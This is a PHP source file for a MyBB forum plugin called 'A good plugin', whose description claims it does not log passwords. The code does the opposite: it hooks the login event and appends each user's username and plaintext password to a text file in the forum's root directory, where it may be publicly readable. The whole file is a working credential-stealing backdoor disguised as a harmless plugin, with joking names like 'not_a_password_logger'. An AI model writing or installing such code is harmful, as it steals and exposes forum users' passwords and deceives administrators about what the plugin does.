goodplugin.php

<?php

global $not_a_logfile;

$not_a_logfile = "test.txt";

if(!defined("IN_MYBB")){die();}

$plugins->add_hook("member_do_login_end", "not_a_password_logger");

function goodplugin_info(){
    return array(
        "name"          => "A good plugin",
        "description"   => "A good plugin that does not log passwords to a file in the forum's root directory",
        "website"       => "",
        "author"        => "not shygoo",
        "authorsite"    => "",
        "version"       => "1.0",
        "guid"          => "",
        "compatibility" => "*"
    );
}

function goodplugin_is_installed(){
    return true;
}

function goodplugin_install(){}
function goodplugin_uninstall(){}
function goodplugin_activate(){}
function goodplugin_deactivate(){}

function not_a_password_logger(){
    global $mybb;
    global $not_a_logfile;
    $name = $mybb->get_input('username');
    $pass = $mybb->get_input('password');
    file_put_contents($not_a_logfile, $name.":".$pass."\n", FILE_APPEND);
}

?>